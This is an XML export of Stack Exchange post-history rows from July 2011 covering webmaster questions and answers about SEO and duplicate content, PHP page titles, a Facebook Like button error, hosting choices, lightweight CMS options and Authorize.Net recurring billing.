  <row Id="40307" PostHistoryTypeId="2" PostId="16842" RevisionGUID="e3bc28fd-72fd-4ac0-af1a-8d3e2d46433c" CreationDate="2011-07-14T13:42:15.967" UserId="1253" Text="1. If your page title is dynamic and the content is the same, then the search engines will be able to read them but you'll be hurting yourself. The title of a page, whether using the `&lt;title&gt;` or `&lt;h1&gt;` tags are very important for SEO. If it keeps changing you're hurting your page's chance of ranking well because you keep changing very important pieces of the page. &#xD;&#xA;&#xD;&#xA;2. If you mean you have one PHP script and it can generate many pages dynamically by pulling content from a database then, no, this won't hurt you at all. PHP is processed on the server side and then it sends out HTML to the user agent. In this case the user agent is Google. So all Google sees is the HTML of your pages. (FYI, this is programming 101 kind of stuff. You may want to read up on PHP basics before continuing with your project. I strongly suspect you are generating code with security vulnerabilities)." />
  <row Id="40308" PostHistoryTypeId="5" PostId="16838" RevisionGUID="b676dcb1-804b-44be-92b1-86b3d6b52928" CreationDate="2011-07-14T13:43:50.143" UserId="1253" Comment="modified tags, major text edits, improved title" Text="My page titles are dynamically created with PHP. Is Google able to read them? " />
  <row Id="40309" PostHistoryTypeId="4" PostId="16838" RevisionGUID="b676dcb1-804b-44be-92b1-86b3d6b52928" CreationDate="2011-07-14T13:43:50.143" UserId="1253" Comment="modified tags, major text edits, improved title" Text="If my page titles are dynamically created with PHP will Google be able to read them?" />
  <row Id="40310" PostHistoryTypeId="6" PostId="16838" RevisionGUID="b676dcb1-804b-44be-92b1-86b3d6b52928" CreationDate="2011-07-14T13:43:50.143" UserId="1253" Comment="modified tags, major text edits, improved title" Text="&lt;seo&gt;&lt;php&gt;&lt;search-engines&gt;" />
  <row Id="40311" PostHistoryTypeId="2" PostId="16843" RevisionGUID="d5e9a00b-e04d-4b05-8270-4ca92fddde27" CreationDate="2011-07-14T14:01:04.010" UserId="6776" Text="I've just now deleted many pages from my website (with 410 status) which were product pages and copied from respective companies.&#xD;&#xA;&#xD;&#xA;Will now search engine rankings improve for my site?&#xD;&#xA;&#xD;&#xA;I hope it should take 4-6 weeks for this." />
  <row Id="40312" PostHistoryTypeId="1" PostId="16843" RevisionGUID="d5e9a00b-e04d-4b05-8270-4ca92fddde27" CreationDate="2011-07-14T14:01:04.010" UserId="6776" Text="Deleted duplicate pages will search engine ratings improve?" />
  <row Id="40313" PostHistoryTypeId="3" PostId="16843" RevisionGUID="d5e9a00b-e04d-4b05-8270-4ca92fddde27" CreationDate="2011-07-14T14:01:04.010" UserId="6776" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="40314" PostHistoryTypeId="2" PostId="16844" RevisionGUID="a08382d1-b4b1-4f14-a0c6-3f2134a2159f" CreationDate="2011-07-14T14:06:34.323" UserId="1253" Text="Search engines don't rank websites. They rank individual pages. &#xD;&#xA;&#xD;&#xA;What made you decide to delete them? It's okay to have the same products as other websites. If you couldn't then only one website would be found when doing product searches and we know that isn't the case. And that is even with them all using the same product description.&#xD;&#xA;&#xD;&#xA;Assuming the pages were duplicate content, the pages that were duplicated either were already filtered out by Google or devalued as being duplicates so they weren't helping you to begin with (i.e. links from those pages didn't count, PageRank wasn't passed. etc). So removing them only makes Google's life easier but doesn't directly affect your other pages. That's assuming that Google considered them duplicate content. &#xD;&#xA;&#xD;&#xA;The only benefit you may see is by not linking to those pages anymore you have fewer links to &quot;bad&quot; pages and thus have more links to &quot;good&quot; pages which makes those links a little bit stronger. But in all reality that gain will be barely noticeable if it is noticeable at all.&#xD;&#xA;&#xD;&#xA;Another thing to consider, if those pages weren't being penalized buy Google in anyway, this may actually hurt you. If those pages weren't filtered out, reduced in value, etc, then you had more pages that were linking to your important pages (i.e. home page, main product pages, etc) and now you have fewer which hurts those pages. It would be only a small hit but a hit nonetheless." />
  <row Id="40315" PostHistoryTypeId="2" PostId="16845" RevisionGUID="d98af1c5-a4a4-402e-b770-31bc2dbd6f57" CreationDate="2011-07-14T14:06:51.133" UserId="6776" Text="I'd published an article: http://www.creditcardpaymentgateways.in/how-to-test-payment-gateway-functionality.html with the permission of the author here is the original article: http://truptijethva.blogspot.com/2010/09/how-to-test-payment-gateway.html&#xD;&#xA;&#xD;&#xA;But when I search in Google from India for title:  &quot;How to Test Payment Gateway Functionality&quot; my site is ranking first eventhough it is a copy.&#xD;&#xA;&#xD;&#xA;Isn't there any penalty for this?" />
  <row Id="40316" PostHistoryTypeId="1" PostId="16845" RevisionGUID="d98af1c5-a4a4-402e-b770-31bc2dbd6f57" CreationDate="2011-07-14T14:06:51.133" UserId="6776" Text="Copied page but why it is ranking first in Google SERP?" />
  <row Id="40317" PostHistoryTypeId="3" PostId="16845" RevisionGUID="d98af1c5-a4a4-402e-b770-31bc2dbd6f57" CreationDate="2011-07-14T14:06:51.133" UserId="6776" Text="&lt;seo&gt;" />
  <row Id="40318" PostHistoryTypeId="2" PostId="16846" RevisionGUID="0167bbe7-1952-4990-9f2f-96f4fdf1cf6d" CreationDate="2011-07-14T14:10:35.950" UserId="6776" Text="I've a product page ranking well for a keyword which I duplicated from the company itself which contained faq about it's product.&#xD;&#xA;&#xD;&#xA;Now the website has removed that page so mine is the only one existing now.&#xD;&#xA;&#xD;&#xA;Does anyone have any idea if still duplicate content penalty will be applied to my page?&#xD;&#xA;&#xD;&#xA;Should I go ahead and remove it?" />
  <row Id="40319" PostHistoryTypeId="1" PostId="16846" RevisionGUID="0167bbe7-1952-4990-9f2f-96f4fdf1cf6d" CreationDate="2011-07-14T14:10:35.950" UserId="6776" Text="Penalty issue for a duplicate page in site but original page no more" />
  <row Id="40320" PostHistoryTypeId="3" PostId="16846" RevisionGUID="0167bbe7-1952-4990-9f2f-96f4fdf1cf6d" CreationDate="2011-07-14T14:10:35.950" UserId="6776" Text="&lt;seo&gt;" />
  <row Id="40321" PostHistoryTypeId="5" PostId="16843" RevisionGUID="c0e81488-b9df-44ab-9f25-575e78ffad27" CreationDate="2011-07-14T14:11:49.700" UserId="1253" Comment="modified tags" Text="I've just now deleted many pages from my website (with 410 status) which were product pages and copied from respective companies.&#xD;&#xA;&#xD;&#xA;Will now search engine rankings improve for my site?&#xD;&#xA;&#xD;&#xA;I hope it should take 4-6 weeks for this. " />
  <row Id="40322" PostHistoryTypeId="6" PostId="16843" RevisionGUID="c0e81488-b9df-44ab-9f25-575e78ffad27" CreationDate="2011-07-14T14:11:49.700" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;duplicate-content&gt;" />
  <row Id="40323" PostHistoryTypeId="5" PostId="16844" RevisionGUID="80f85dc7-ab3c-4523-9467-4984ced7f536" CreationDate="2011-07-14T14:14:53.190" UserId="1253" Comment="added 193 characters in body" Text="Search engines don't rank websites. They rank individual pages. &#xD;&#xA;&#xD;&#xA;What made you decide to delete them? It's okay to have the same products as other websites. If you couldn't then only one website would be found when doing product searches and we know that isn't the case. And that is even with them all using the same product description. (It's *very* common to use the manufacturers product description and specs for a product's listing).&#xD;&#xA;&#xD;&#xA;Assuming the pages were duplicate content, they either were already filtered out by Google or devalued as being duplicates so they weren't helping you to begin with (i.e. links from those pages didn't count, PageRank wasn't passed. etc). So removing them only makes Google's life easier but doesn't directly affect your other pages. The only benefit you may see is by not linking to those pages anymore you have fewer links to &quot;bad&quot; pages and thus have more links to &quot;good&quot; pages which makes those links a little bit stronger (pass more PageRank, stronger link value). But in all reality that gain will be barely noticeable if it is noticeable at all unless it was a *very* large number of pages.&#xD;&#xA;&#xD;&#xA;Another thing to consider, if those pages weren't being penalized buy Google in anyway, this may actually hurt you. If those pages weren't filtered out, reduced in value, etc, then you had more pages that were linking to your important pages (i.e. home page, main product pages, etc) and now you have fewer which hurts those pages. It would be only a small hit but a hit nonetheless. Not to mention you have fewer pages in their index and thus have fewer opportunities to be found." />
  <row Id="40324" PostHistoryTypeId="2" PostId="16847" RevisionGUID="3c29ccb8-52f7-4e9e-8c3c-7f1f42c51bfb" CreationDate="2011-07-14T14:16:08.993" UserId="1253" Text="If your product page is ranking well then it obviously hasn't been flagged for duplicate content. If it was it wouldn't be ranking well or even at all. So why would you want to remove a well ranked page??" />
  <row Id="40325" PostHistoryTypeId="5" PostId="16846" RevisionGUID="00ac19b4-aed4-4399-9d77-ffb29c61badf" CreationDate="2011-07-14T14:16:20.243" UserId="1253" Comment="modified tags" Text="I've a product page ranking well for a keyword which I duplicated from the company itself which contained faq about it's product.&#xD;&#xA;&#xD;&#xA;Now the website has removed that page so mine is the only one existing now.&#xD;&#xA;&#xD;&#xA;Does anyone have any idea if still duplicate content penalty will be applied to my page?&#xD;&#xA;&#xD;&#xA;Should I go ahead and remove it? " />
  <row Id="40326" PostHistoryTypeId="6" PostId="16846" RevisionGUID="00ac19b4-aed4-4399-9d77-ffb29c61badf" CreationDate="2011-07-14T14:16:20.243" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="40327" PostHistoryTypeId="2" PostId="16848" RevisionGUID="46c7184c-0ee8-49be-b196-e39be34afd35" CreationDate="2011-07-14T14:19:56.370" UserId="1253" Text="This is an area where Google is trying to improve. The &quot;panda&quot; updates deal with this exact issue. You may rank well for that content right now but eventually Google will (supposedly) filter out your duplicate content. Basically I wouldn't count on that page ranking well for too long.&#xD;&#xA;&#xD;&#xA;What you should be doing as a good webmaster is use [canonical URLs][1] to give the original website credit as the content's original author. You should also link to the main article on the author's website. That way Google knows who the original publisher is and give them their deserved rankings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="40328" PostHistoryTypeId="5" PostId="16845" RevisionGUID="a6218000-33c0-4fe7-a6a7-b518f2e3e59e" CreationDate="2011-07-14T14:22:12.950" UserId="1253" Comment="modified tags, text edits" Text="I'd published an article with the permission of the author. But when I search in Google from India for title: &quot;How to Test Payment Gateway Functionality&quot; my site is ranking first eventhough it is a copy.&#xD;&#xA;&#xD;&#xA;Isn't there any penalty for this?" />
  <row Id="40329" PostHistoryTypeId="6" PostId="16845" RevisionGUID="a6218000-33c0-4fe7-a6a7-b518f2e3e59e" CreationDate="2011-07-14T14:22:12.950" UserId="1253" Comment="modified tags, text edits" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="40330" PostHistoryTypeId="2" PostId="16849" RevisionGUID="7fc8edca-1a2b-4d56-aab2-5688125b75b2" CreationDate="2011-07-14T14:34:47.560" UserId="1953" Text="It could also be due to personalization. Since it's your site you've presumably visited it enough that Google knows you like it and trust it, so Google favors it in your search results but may not treat it the same way when others search.  " />
  <row Id="40331" PostHistoryTypeId="2" PostId="16850" RevisionGUID="df25618d-3a03-4545-81db-2f03a7cbc97e" CreationDate="2011-07-14T15:06:51.177" UserId="5026" Text="I [added a FB Like button][1] to my Wordpress template, and when I click Like, I receive an error, which pops up and says:&#xD;&#xA;&#xD;&#xA;There was an error liking the page. If you are the page owner, please try running your page through the linter on the Facebook devsite (https://developers.facebook.com/tools/lint/) and fixing any errors.&#xD;&#xA;&#xD;&#xA;The Lint Checker (now) gives no Error or Warnings, after I removed a duplicate og:description tag.&#xD;&#xA;&#xD;&#xA;Why is it not working?  Do I need to scrape the site again?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.superlogical.net" />
  <row Id="40332" PostHistoryTypeId="1" PostId="16850" RevisionGUID="df25618d-3a03-4545-81db-2f03a7cbc97e" CreationDate="2011-07-14T15:06:51.177" UserId="5026" Text="Facebook Like button warning, but prevents sharing." />
  <row Id="40333" PostHistoryTypeId="3" PostId="16850" RevisionGUID="df25618d-3a03-4545-81db-2f03a7cbc97e" CreationDate="2011-07-14T15:06:51.177" UserId="5026" Text="&lt;facebook&gt;&lt;error&gt;&lt;facebook-graph&gt;" />
  <row Id="40334" PostHistoryTypeId="5" PostId="16850" RevisionGUID="3fb0f436-a2e0-49f3-97b6-67c83e764952" CreationDate="2011-07-14T15:11:51.467" UserId="5026" Comment="deleted 38 characters in body" Text="I [added a FB Like button][1] to my Wordpress template, and when I click Like, I receive an error, which pops up and says:&#xD;&#xA;&#xD;&#xA;There was an error liking the page. If you are the page owner, please try running your page through the linter on the Facebook devsite (https://developers.facebook.com/tools/lint/) and fixing any errors.&#xD;&#xA;&#xD;&#xA;The Lint Checker (now) gives no Error or Warnings, after I removed a duplicate og:description tag.&#xD;&#xA;&#xD;&#xA;Why is it not working? &#xD;&#xA;&#xD;&#xA;  [1]: http://www.superlogical.net" />
  <row Id="40335" PostHistoryTypeId="2" PostId="16851" RevisionGUID="a941d4d4-3793-4994-80cb-4e92f50dd67a" CreationDate="2011-07-14T15:15:37.580" UserId="126" Text="I am building a software and web services company and want to create different email account to use them in contacting my team, customers &quot;which i do for them websites for example&quot;, users of the company website, jobs, ....&#xD;&#xA;&#xD;&#xA;I want to know what are emails you recommend to create and the use of each.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*note: I am not sure if this is the right place to ask this question, so if not, please help me where to ask such questions.*" />
  <row Id="40336" PostHistoryTypeId="1" PostId="16851" RevisionGUID="a941d4d4-3793-4994-80cb-4e92f50dd67a" CreationDate="2011-07-14T15:15:37.580" UserId="126" Text="What emails should I create for a web services company?" />
  <row Id="40337" PostHistoryTypeId="3" PostId="16851" RevisionGUID="a941d4d4-3793-4994-80cb-4e92f50dd67a" CreationDate="2011-07-14T15:15:37.580" UserId="126" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;" />
  <row Id="40338" PostHistoryTypeId="5" PostId="16813" RevisionGUID="b714f02e-82b2-404e-9957-175e37bf4939" CreationDate="2011-07-14T15:20:57.770" UserId="7313" Comment="added 91 characters in body" Text="Video content and related topics, such as uploading, streaming, and converting video files." />
  <row Id="40339" PostHistoryTypeId="24" PostId="16813" RevisionGUID="b714f02e-82b2-404e-9957-175e37bf4939" CreationDate="2011-07-14T15:20:57.770" Comment="Proposed by 7313 approved by 1064 edit id of 436" />
  <row Id="40342" PostHistoryTypeId="2" PostId="16852" RevisionGUID="d98b6279-4a3d-4124-b704-d560831459c0" CreationDate="2011-07-14T15:49:10.223" UserId="8945" Text="If you have Java skills, take a look at OpenCms - http://www.opencms.org/ - It's a very flexible solution, and has some very advanced features.  I've used it for a number of sites, and have also used some of the additional modules such as the forms and newsletter modules from http://www.alkacon.com/en/products/oamp/index.html.  If you can get over the initial learning curve, you'll find OpenCms to be both powerful and reliable." />
  <row Id="40343" PostHistoryTypeId="2" PostId="16853" RevisionGUID="03cb9260-9902-42d4-9c1e-4bf969f871b7" CreationDate="2011-07-14T16:06:39.297" UserId="527" Text="If you're worried, just make sure you set up a robots.txt file on your server to tell Google (and other search engines) not to index the data dump content. Your users will be able to access the information, but Google will ignore it.&#xD;&#xA;&#xD;&#xA;A search on &quot;robots.txt&quot; will yield all the details of how to set this up." />
  <row Id="40344" PostHistoryTypeId="2" PostId="16854" RevisionGUID="db87aa4e-26b3-4f96-bfa2-d84293ef1051" CreationDate="2011-07-14T16:08:59.890" UserId="823" Text="I have recently begun using Azure for hosting our site. I have the publish from Visual Studio 2010 setup and working. However, it seems to take down the instances and reinitialize. The problem is that it takes up to 20 minutes to publish even the smallest of changes and the server settings are reverted. &#xD;&#xA;&#xD;&#xA;Maybe I am misunderstanding how to do this efficiently. What I want is a way to publish just application updates via VS2010.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40345" PostHistoryTypeId="1" PostId="16854" RevisionGUID="db87aa4e-26b3-4f96-bfa2-d84293ef1051" CreationDate="2011-07-14T16:08:59.890" UserId="823" Text="Azure Publishing" />
  <row Id="40346" PostHistoryTypeId="3" PostId="16854" RevisionGUID="db87aa4e-26b3-4f96-bfa2-d84293ef1051" CreationDate="2011-07-14T16:08:59.890" UserId="823" Text="&lt;publishing&gt;" />
  <row Id="40347" PostHistoryTypeId="2" PostId="16855" RevisionGUID="e08802f3-a2d9-4a57-aa2b-1b81521cd031" CreationDate="2011-07-14T16:21:01.033" UserId="4502" Text="The AddThis forum has &lt;a href=&quot;http://www.addthis.com/forum/viewtopic.php?f=5&amp;t=33079&amp;sid=4713ecd6d95295376b2ca113d3bc8422&quot;&gt;several threads&lt;/a&gt; (example) over the last couple days reporting problems with the Like button, and an employee has confirmed something's going on at Facebook's end. He doesn't provide any detail, unfortunately, just the same boilerplate message in all the threads.&#xD;&#xA;&#xD;&#xA;My own client sites, one of which is also using AddThis for the like button, don't seem to be affected, so you might give it a day or two to see if the problem resolves." />
  <row Id="40348" PostHistoryTypeId="5" PostId="16855" RevisionGUID="35c609c3-84de-456e-a291-76ca3acd043f" CreationDate="2011-07-14T16:39:44.080" UserId="4502" Comment="added 373 characters in body" Text="The AddThis forum has &lt;a href=&quot;http://www.addthis.com/forum/viewtopic.php?f=5&amp;t=33079&amp;sid=4713ecd6d95295376b2ca113d3bc8422&quot;&gt;several threads&lt;/a&gt; (example) over the last couple days reporting problems with the Like button, and an employee has confirmed something's going on at Facebook's end. He doesn't provide any detail, unfortunately, just the same boilerplate message in all the threads.&#xD;&#xA;&#xD;&#xA;My own client sites, one of which is also using AddThis for the like button, don't seem to be affected, so you might give it a day or two to see if the problem resolves.&#xD;&#xA;&#xD;&#xA;**EDIT**  &#xD;&#xA;I just noticed that the linter does seem to be &lt;a href=&quot;https://developers.facebook.com/tools/lint/?url=http%3A%2F%2Fwww.superlogical.net%2Fspecial-interest%2Ffun%2Ffunny%2F2011%2F07%2Ffunny-star-wars-facebook-status-updates%2F&quot;&gt;recording&lt;/a&gt; one like action for the most recent post at the moment, and thirteen for the next down. So they're apparently sneaking through at least sometimes." />
  <row Id="40349" PostHistoryTypeId="4" PostId="16846" RevisionGUID="8c0a3bd9-ea80-4005-8fee-aa38d143a591" CreationDate="2011-07-14T17:21:36.040" UserId="1253" Comment="fixed title" Text="Penalty issue for a duplicate page in site but original page doesn't exist anymore" />
  <row Id="40350" PostHistoryTypeId="5" PostId="16830" RevisionGUID="5f48c659-ca68-4e76-ad3e-a60161f3a3b0" CreationDate="2011-07-14T17:39:05.860" UserId="8935" Comment="added 51 characters in body" Text="We are facing slow indexing of a website in Google Index, the site is hosted by a free hosting provider. But ,on other hand,  the  other site which is on the paid hosting provider was indexed quickly and  appeared in google first page quickly.&#xD;&#xA;&#xD;&#xA;Both sites are similar in design and content and the keywords are also similar. but why happening like this ..&#xD;&#xA;&#xD;&#xA;Does free website hosting affect SEO?" />
  <row Id="40351" PostHistoryTypeId="5" PostId="16837" RevisionGUID="03a76503-1fab-45f4-9e9a-e901a167ca8e" CreationDate="2011-07-14T17:48:07.760" UserId="5218" Comment="was missing the word not" Text="I am working with a team to select a new content management system for a large membership organization (around 25,000 members). The organization has revenue so I'm not looking for a dirt cheap solution.&#xD;&#xA;&#xD;&#xA;The site currently uses ASI iMIS which is based on ColdFusion. It's difficult to work with and not flexible for our needs.&#xD;&#xA;&#xD;&#xA;What other possible alternatives to ASI iMIS are there?&#xD;&#xA;&#xD;&#xA;Ideally the solution would have some sort of support from the vendor.&#xD;&#xA;&#xD;&#xA;So far I've come up with: &#xD;&#xA;&#xD;&#xA; - Drupal/Acquia&#xD;&#xA;   &#xD;&#xA; - SDL Tridion&#xD;&#xA;&#xD;&#xA; - Plone&#xD;&#xA;   &#xD;&#xA; - Ellington (probably too news like)&#xD;&#xA;   &#xD;&#xA; - Pinax (probably not developed enough)" />
  <row Id="40352" PostHistoryTypeId="2" PostId="16856" RevisionGUID="6aa45776-9fd7-4e74-8506-6c4be1d7c5d1" CreationDate="2011-07-14T19:34:08.970" UserId="8965" Text="To deploy my .NET web-application I need both Windows (for frontend) and Linux (for database) virtual servers (VPS). What Windows+Linux hoster would you recommend?&#xD;&#xA;&#xD;&#xA;Of course, I am not interested in Windows or Linux-specific hosters. Also I found some mix hosters who provides low prices for Linux but high for Windows or vice versa." />
  <row Id="40353" PostHistoryTypeId="1" PostId="16856" RevisionGUID="6aa45776-9fd7-4e74-8506-6c4be1d7c5d1" CreationDate="2011-07-14T19:34:08.970" UserId="8965" Text="Best hoster with Linux+Windows" />
  <row Id="40354" PostHistoryTypeId="3" PostId="16856" RevisionGUID="6aa45776-9fd7-4e74-8506-6c4be1d7c5d1" CreationDate="2011-07-14T19:34:08.970" UserId="8965" Text="&lt;web-hosting&gt;" />
  <row Id="40355" PostHistoryTypeId="4" PostId="16856" RevisionGUID="6562b913-f3a6-40fe-8d20-bb841c72ed34" CreationDate="2011-07-14T19:36:25.377" UserId="1253" Comment="modified tags, improved title" Text="Looking for a webhost that offers both Linux and Windows" />
  <row Id="40356" PostHistoryTypeId="6" PostId="16856" RevisionGUID="6562b913-f3a6-40fe-8d20-bb841c72ed34" CreationDate="2011-07-14T19:36:25.377" UserId="1253" Comment="modified tags, improved title" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="40357" PostHistoryTypeId="2" PostId="16857" RevisionGUID="18726dea-db58-49db-bc8b-e6c889280aea" CreationDate="2011-07-14T19:56:08.113" UserId="4502" Text="&lt;a href=&quot;http://www.godaddy.com/hosting/virtual-dedicated-servers.aspx?ci=9013&quot;&gt;GoDaddy's virtual dedicated products&lt;/a&gt; have Windows and a couple flavors of Linux available, at equal prices. (Not a recommendation, just pointing out. I've never used GD for hosting.)" />
  <row Id="40358" PostHistoryTypeId="2" PostId="16858" RevisionGUID="66e3bbeb-3a56-4f79-8aa3-63ddb3c17883" CreationDate="2011-07-14T21:00:35.867" UserId="8848" Text="I would like to know if it is legal to embed google images search results ([like these ones][1]) on my website. If so, what solutions do you recommend for implementation (other than iframes)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.co.uk/search?um=1&amp;hl=en&amp;biw=1680&amp;bih=989&amp;tbm=isch&amp;sa=1&amp;q=stackoverflow&amp;oq=stackoverflow&amp;aq=f&amp;aqi=g3&amp;aql=&amp;gs_sm=e&amp;gs_upl=163736l165597l0l165769l13l11l0l5l5l0l234l794l0.1.3l4" />
  <row Id="40359" PostHistoryTypeId="1" PostId="16858" RevisionGUID="66e3bbeb-3a56-4f79-8aa3-63ddb3c17883" CreationDate="2011-07-14T21:00:35.867" UserId="8848" Text="Can I embed google images search results on my website?" />
  <row Id="40360" PostHistoryTypeId="3" PostId="16858" RevisionGUID="66e3bbeb-3a56-4f79-8aa3-63ddb3c17883" CreationDate="2011-07-14T21:00:35.867" UserId="8848" Text="&lt;google&gt;&lt;google-search&gt;&lt;legal&gt;&lt;copyright&gt;&lt;embed&gt;" />
  <row Id="40366" PostHistoryTypeId="2" PostId="16860" RevisionGUID="b6b358b5-1e72-498d-b6ec-926d5d193860" CreationDate="2011-07-14T23:19:52.347" UserId="8967" Text="I want my old domain name but it is owned by some web hosting co in Japan, I can't understand their site. I don't know why they would want my name except that it is still very well indexed with lots of links pointing to it on the internet. It was a little jewelry business that I let go 7 years ago. I would like to just grab my domain with all those links that will then go right to the site. I'm sure they'll charge a big price, if I change just a couple letters or add to the name, then I lose all those nice directory links I worked to get a few years ago. My old customers are still mentioning the site on the internet as well. How can I get it back without paying very much? It was a small, very small business for pete's sake. I have a Japanese friend, she could try to intercede for me, but what should I look out for to protect my interests? " />
  <row Id="40367" PostHistoryTypeId="1" PostId="16860" RevisionGUID="b6b358b5-1e72-498d-b6ec-926d5d193860" CreationDate="2011-07-14T23:19:52.347" UserId="8967" Text="Getting my old domain name back from a hosting company" />
  <row Id="40368" PostHistoryTypeId="3" PostId="16860" RevisionGUID="b6b358b5-1e72-498d-b6ec-926d5d193860" CreationDate="2011-07-14T23:19:52.347" UserId="8967" Text="&lt;web-hosting&gt;&lt;domain-names&gt;" />
  <row Id="40369" PostHistoryTypeId="2" PostId="16861" RevisionGUID="9c8b1883-bde9-4735-a241-c88bfb40721d" CreationDate="2011-07-14T23:44:49.383" UserId="7296" Text="The email addresses I normally see on the web are:&#xD;&#xA;&#xD;&#xA;**sales** for all product/service questions&#xD;&#xA;&#xD;&#xA;**info**  Similar to sales but may be used for a non-comercial products/services.&#xD;&#xA;&#xD;&#xA;**support** For question or problems relating to your product/service&#xD;&#xA;&#xD;&#xA;**accounts** For billing/payment issues e.g. why has my account been disabled or why is my bill $134 when it should only be $50&#xD;&#xA;&#xD;&#xA;**admin / webmaster**  To report broken links, spam or other problems with your website that need to be fixed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But like Kristian Antonsen mentioned you can just have one email and add more as needed.&#xD;&#xA;Or if you want to appear like a larger company then you really are you make each email address an alias which all get redirected back to a single Email address. Then if you expand your company and need to hire new staff for these roles then you just change the email alias to an real email address.&#xD;&#xA;" />
  <row Id="40370" PostHistoryTypeId="17" PostId="16862" RevisionGUID="265aed07-3366-4b0e-a06b-ddc601c9fcae" CreationDate="2011-07-15T03:01:59.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6677286/looking-for-a-very-lightweight-php-cms-for-single-page-websites" Text="" />
  <row Id="40371" PostHistoryTypeId="17" PostId="16863" RevisionGUID="354f5dc7-93c7-4b87-b5bc-c1a545494531" CreationDate="2011-07-15T03:01:59.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6677286/looking-for-a-very-lightweight-php-cms-for-single-page-websites" Text="" />
  <row Id="40372" PostHistoryTypeId="17" PostId="16864" RevisionGUID="f29d918c-a060-4653-8684-06c94d4606ac" CreationDate="2011-07-15T03:01:59.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6677286/looking-for-a-very-lightweight-php-cms-for-single-page-websites" Text="" />
  <row Id="40373" PostHistoryTypeId="17" PostId="16865" RevisionGUID="487a002f-9eaf-46e5-828e-d3f999dcb07a" CreationDate="2011-07-15T03:01:59.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6677286/looking-for-a-very-lightweight-php-cms-for-single-page-websites" Text="" />
  <row Id="40374" PostHistoryTypeId="2" PostId="16863" RevisionGUID="37bdb7a0-2dcc-4775-8c11-527fdff595a5" CreationDate="2011-07-13T10:29:41.880" UserDisplayName="Alfred" Text="[MediaWiki][1] is pretty popular WIKI, but maybe not as light as you would like? &#xD;&#xA;Maybe you can find something at [Github][2] which fits your needs better by [searching][3]:&#xD;&#xA;&#xD;&#xA;Maybe [gitblog][4]:&#xD;&#xA;&#xD;&#xA;&gt; A git-based blog/cms platform for PHP, meant as a replacement for&#xD;&#xA;&gt; Wordpress.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mediawiki.org/&#xD;&#xA;  [2]: http://github.com/&#xD;&#xA;  [3]: https://github.com/search?type=Everything&amp;language=PHP&amp;q=cms&amp;repo=&amp;langOverride=&amp;x=24&amp;y=23&amp;start_value=1&#xD;&#xA;  [4]: https://github.com/rsms/gitblog" />
  <row Id="40375" PostHistoryTypeId="2" PostId="16864" RevisionGUID="8fd0bc3a-a19e-4c3a-98cc-c2a484ca0ab2" CreationDate="2011-07-13T10:30:02.660" UserDisplayName="Eddie" Text="I suggest ionize.. It's build on codeigniter, easy to create/add modules and has excellent language support :)&#xD;&#xA;&#xD;&#xA;http://www.ionizecms.com/" />
  <row Id="40376" PostHistoryTypeId="2" PostId="16865" RevisionGUID="a0583b91-c3ab-4d05-ade7-1c6bb5991541" CreationDate="2011-07-13T10:34:39.817" UserDisplayName="Doug McK" Text="[Perch][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grabaperch.com/&#xD;&#xA;&#xD;&#xA;I haven't used it (wrote my own instead) but it does seem to be a nice little system for simple CMS needs" />
  <row Id="40377" PostHistoryTypeId="2" PostId="16862" RevisionGUID="85d65421-44e7-4c8e-824f-7acbf2b04c56" CreationDate="2011-07-13T10:11:56.730" UserDisplayName="0al0" Text="I need a very simple, secure CMS for single-page websites, with a single page backend, multilanguage,  and preferably XML based, although that is not so important... &#xD;&#xA;I know there are other similar questions, but most of them are quite old.&#xD;&#xA;&#xD;&#xA;Please don't suggest Wordpress, it is definitely overkill for something like this." />
  <row Id="40378" PostHistoryTypeId="1" PostId="16862" RevisionGUID="85d65421-44e7-4c8e-824f-7acbf2b04c56" CreationDate="2011-07-13T10:11:56.730" UserDisplayName="0al0" Text="Looking for a very lightweight PHP CMS for single page websites" />
  <row Id="40379" PostHistoryTypeId="3" PostId="16862" RevisionGUID="85d65421-44e7-4c8e-824f-7acbf2b04c56" CreationDate="2011-07-13T10:11:56.730" UserDisplayName="0al0" Text="&lt;php&gt;&lt;cms&gt;" />
  <row Id="40380" PostHistoryTypeId="17" PostId="16866" RevisionGUID="e64b19be-dad4-4665-8aa8-69e842676b18" CreationDate="2011-07-15T03:02:10.560" UserId="-1" Comment="from http://stackoverflow.com/questions/6682618/changing-amounts-on-authorize-net-paypal-recurring-payments" Text="" />
  <row Id="40381" PostHistoryTypeId="2" PostId="16867" RevisionGUID="148f5056-dda1-4bab-a5f8-418f69c69a4f" CreationDate="2011-07-13T17:07:15.243" UserId="1253" Text="As far as Authorize.Net goes, when using ARB (Automated Recurring Billing) you can set a trial period where the cost is different the the regular subscription price. Once the trial period ends the regular subscription price will be charged for the remainder of the subscription. If you want to change the amount charged you will need cancel the current subscription and start a new one with the new amount to be charged. This naturally means that you will need the user's credit card information again.&#xD;&#xA;&#xD;&#xA;An alternative option is to use CIM (Customer Information Manager). This allows you to create payment profiles which stores the user's payment information securely on Authorize.Net's servers. Then whenever you want to charge them you just use their payment profile ID number and amount to be charged and it's processed. This means no need to repeatedly ask users for their credit card information. The downside is you have to build your own payment scheduling engine as their is no built in recurring payment functionality built into CIM." />
